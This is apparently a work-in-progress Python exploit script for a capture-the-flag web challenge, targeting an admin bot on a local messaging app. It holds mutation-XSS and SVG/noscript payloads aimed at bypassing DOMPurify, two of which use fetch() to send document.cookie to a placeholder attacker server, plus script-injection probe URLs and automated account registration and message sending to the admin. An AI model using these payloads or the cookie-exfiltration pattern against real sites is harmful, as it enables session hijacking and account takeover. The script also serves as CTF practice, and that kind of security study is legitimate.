#!/usr/bin/env python3
"""
Proof of Concept for Flag 1 - MOTD Cookie XSS
==============================================

Vulnerability: Stored XSS via motd cookie injection
Target: Admin's session cookie containing flag1

Attack Flow:
1. The /motd endpoint on port 5001 unsafely renders the 'motd' cookie value with {{ motd | safe }}
2. CSP on port 5001: "default-src 'none'; img-src http: https:; style-src 'self';"
   - No script-src means inline scripts are blocked
   - BUT img-src allows loading images from any HTTP/HTTPS URL
3. We can use CSS injection or image-based exfiltration
4. The bot visits /motd, logs in, visits /flag (flag stored in JWT), then visits our URL
5. We need to exfiltrate the session cookie containing the flag

Key Insight:
The CSP allows 'img-src http: https:' which means we can:
- Inject an <img> tag that will be rendered
- But we can't use onerror handlers (no script-src)
- However, we can use CSS to extract data character-by-character (CSS injection attack)
- OR we can leverage the fact that port 5000 has different CSP

Strategy:
Since we can only make the bot visit URLs on port 5000, and port 5000 has:
CSP: "default-src 'none'; base-uri 'none'; script-src 'unsafe-inline'; style-src 'self';"

We can inject inline JavaScript on port 5000!

The trick:
1. Send a message to admin with XSS payload
2. Bot visits http://127.0.0.1:5000/inbox after getting the flag
3. Inbox sanitizes with DOMPurify... but maybe we can bypass?
4. OR find another reflection point on port 5000

Alternative: 
Check if we can abuse the MOTD redirect...
"""

import requests
import time
from urllib.parse import quote_plus, quote
import json

# Configuration
BASE_URL = "http://localhost:5000"
ATTACKER_SERVER = "http://YOUR_NGROK_OR_SERVER:PORT"

def register_user(username, password):
    """Register a new user"""
    resp = requests.post(f"{BASE_URL}/register", data={
        "username": username,
        "password": password
    }, allow_redirects=False)
    return resp.cookies.get("session")

def login(username, password):
    """Login and get session cookie"""
    resp = requests.post(f"{BASE_URL}/login", data={
        "username": username,
        "password": password
    }, allow_redirects=False)
    return resp.cookies.get("session")

def send_message(session_cookie, to_username, body):
    """Send a message to a user"""
    cookies = {"session": session_cookie}
    resp = requests.post(f"{BASE_URL}/compose", data={
        "to": to_username,
        "body": body
    }, cookies=cookies, allow_redirects=False)
    print(f"Message sent: {resp.status_code}")
    print(resp.text)
    return resp

def trigger_bot(target_url):
    """Trigger the admin bot to visit a URL"""
    resp = requests.post(f"{BASE_URL}/bot", data={
        "url": target_url
    })
    print(f"Bot triggered: {resp.status_code}")
    return resp

# ============================================================================
# EXPLOIT ATTEMPT 1: Try to bypass DOMPurify
# ============================================================================

def exploit_attempt_1():
    """
    Try to send XSS payload that bypasses DOMPurify
    DOMPurify 3.3.1 might have bypasses
    """
    print("[*] Exploit Attempt 1: DOMPurify Bypass")
    
    # Register attacker account
    username = f"attacker_{int(time.time())}"
    password = "password123"
    session = register_user(username, password)
    print(f"[+] Registered as {username}")
    
    # Known DOMPurify bypasses (research needed for 3.3.1 specifically)
    payloads = [
        # mXSS via mutation
        '<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(document.cookie)>',
        # SVG-based
        '<svg><style><![CDATA[</style><img src=x onerror=fetch("' + ATTACKER_SERVER + '/exfil?c="+document.cookie)>]]></svg>',
        # Nesting
        '<noscript><p title="</noscript><img src=x onerror=fetch(\'' + ATTACKER_SERVER + '/exfil?c=\'+document.cookie)>">',
    ]
    
    for i, payload in enumerate(payloads):
        print(f"[*] Trying payload {i+1}: {payload[:50]}...")
        send_message(session, "admin", payload)
    
    # Trigger bot to visit inbox
    print("[*] Triggering bot to visit inbox...")
    trigger_bot("http://127.0.0.1:5000/inbox")
    
    print("[*] Check your server for exfiltrated cookie!")

# ============================================================================
# EXPLOIT ATTEMPT 2: Cookie Tossing + MOTD XSS
# ============================================================================

def exploit_attempt_2():
    """
    Set a malicious motd cookie, then make bot visit /motd
    Problem: We can't directly set cookies for the bot
    But we can try to leverage cookie tossing
    """
    print("[*] Exploit Attempt 2: Cookie Tossing")
    
    # The motd endpoint sets a cookie if one doesn't exist
    # We need to make the bot have our malicious cookie
    
    # Payload that works despite CSP on port 5001
    # CSP: default-src 'none'; img-src http: https:; style-src 'self';
    # We can use img tags!
    
    # But we need to get cookie value dynamically...
    # Since no script execution, we can't read document.cookie
    
    # Wait! Let's check if we can inject on port 5000 first
    print("[!] This approach requires direct cookie access to port 5001")
    print("[!] Since port 5001 is not exposed, we need another vector")

# ============================================================================
# EXPLOIT ATTEMPT 3: Abuse Port 5000 endpoints
# ============================================================================

def exploit_attempt_3():
    """
    Find a reflection point on port 5000 where we can inject JavaScript
    Port 5000 allows 'unsafe-inline' for scripts!
    """
    print("[*] Exploit Attempt 3: Find reflection on port 5000")
    
    # Check various endpoints for reflections
    # Most use Jinja templates which auto-escape
    # But maybe error messages or JSON responses?
    
    # The /compose endpoint returns JSON with message ID
    # The /api/messages endpoint requires headers
    
    # Let's check if we can craft a special URL
    test_urls = [
        "http://127.0.0.1:5000/inbox?test=<script>alert(1)</script>",
        "http://127.0.0.1:5000/compose?error=<script>alert(1)</script>",
    ]
    
    for url in test_urls:
        print(f"[*] Testing: {url}")
        # Would need to trigger bot with this URL
    
    print("[!] Need to find reflection point")

# ============================================================================
# EXPLOIT ATTEMPT 4: The Real Solution - Analyze CSP carefully
# ============================================================================

def exploit_attempt_4():
    """
    Re-analyze the vulnerability:
    
    1. Port 5000 CSP: script-src 'unsafe-inline' - we CAN run inline scripts
    2. Port 5001 CSP: no script-src - we CANNOT run scripts
    3. Bot visits /motd (port 5001) first, then logs in, then /flag, then our URL (port 5000)
    4. Flag is in the session cookie after visiting /flag
    5. We need JavaScript on port 5000 to steal the cookie
    
    The question: Where on port 5000 can we inject JavaScript?
    
    Answer: We need to find a page on port 5000 that:
    - Allows inline scripts (CSP allows it)
    - Reflects our input unsafely
    
    OR: We control the entire response if we can make the bot visit a URL we control...
    But we can only make it visit 127.0.0.1:5000 URLs
    
    WAIT! What if we send a message that creates a specific URL or page state?
    """
    print("[*] Exploit Attempt 4: Deep analysis needed")
    
    # The key insight: Can we control what page the bot sees at our URL?
    # The bot URL must start with http://127.0.0.1:5000
    
    # What if we use the /compose endpoint response?
    # It returns JSON with Location header
    # Status 303 See Other with JSON body
    
    # Or what about /api/messages/<id>?
    # It returns JSON which might not have CSP?
    
    print("[*] Testing if JSON endpoints have CSP...")
    
    username = f"test_{int(time.time())}"
    session = register_user(username, "password")
    
    # Send a message to ourselves
    send_message(session, username, "test message")
    
    # Get messages
    headers = {"X-Server-Function": "read"}
    cookies = {"session": session}
    resp = requests.get(f"{BASE_URL}/api/messages", headers=headers, cookies=cookies)
    print(f"[*] /api/messages response:")
    print(f"    CSP: {resp.headers.get('Content-Security-Policy', 'NONE')}")
    print(f"    Content-Type: {resp.headers.get('Content-Type')}")
    
    # This might be the vector!
    if resp.status_code == 200:
        messages = json.loads(resp.text)
        if messages.get("messages"):
            msg_id = messages["messages"][0]["id"]
            resp2 = requests.get(f"{BASE_URL}/api/messages/{msg_id}", 
                                headers=headers, cookies=cookies)
            print(f"[*] /api/messages/<id> response:")
            print(f"    CSP: {resp2.headers.get('Content-Security-Policy', 'NONE')}")
            print(f"    Content-Type: {resp2.headers.get('Content-Type')}")
            print(f"    Body: {resp2.text[:200]}")

if __name__ == "__main__":
    print("="*70)
    print("Flag 1 Exploit PoC")
    print("="*70)
    print()
    
    print("[!] This is a work-in-progress exploit")
    print("[!] Multiple attack vectors are being explored")
    print()
    
    # Try different approaches
    choice = input("Select exploit attempt (1-4) or 'all': ")
    
    if choice == "1" or choice == "all":
        exploit_attempt_1()
    if choice == "2" or choice == "all":
        exploit_attempt_2()
    if choice == "3" or choice == "all":
        exploit_attempt_3()
    if choice == "4" or choice == "all":
        exploit_attempt_4()
    
    print()
    print("[*] Exploit attempts completed")
    print("[*] Next steps: Analyze responses and refine approach")
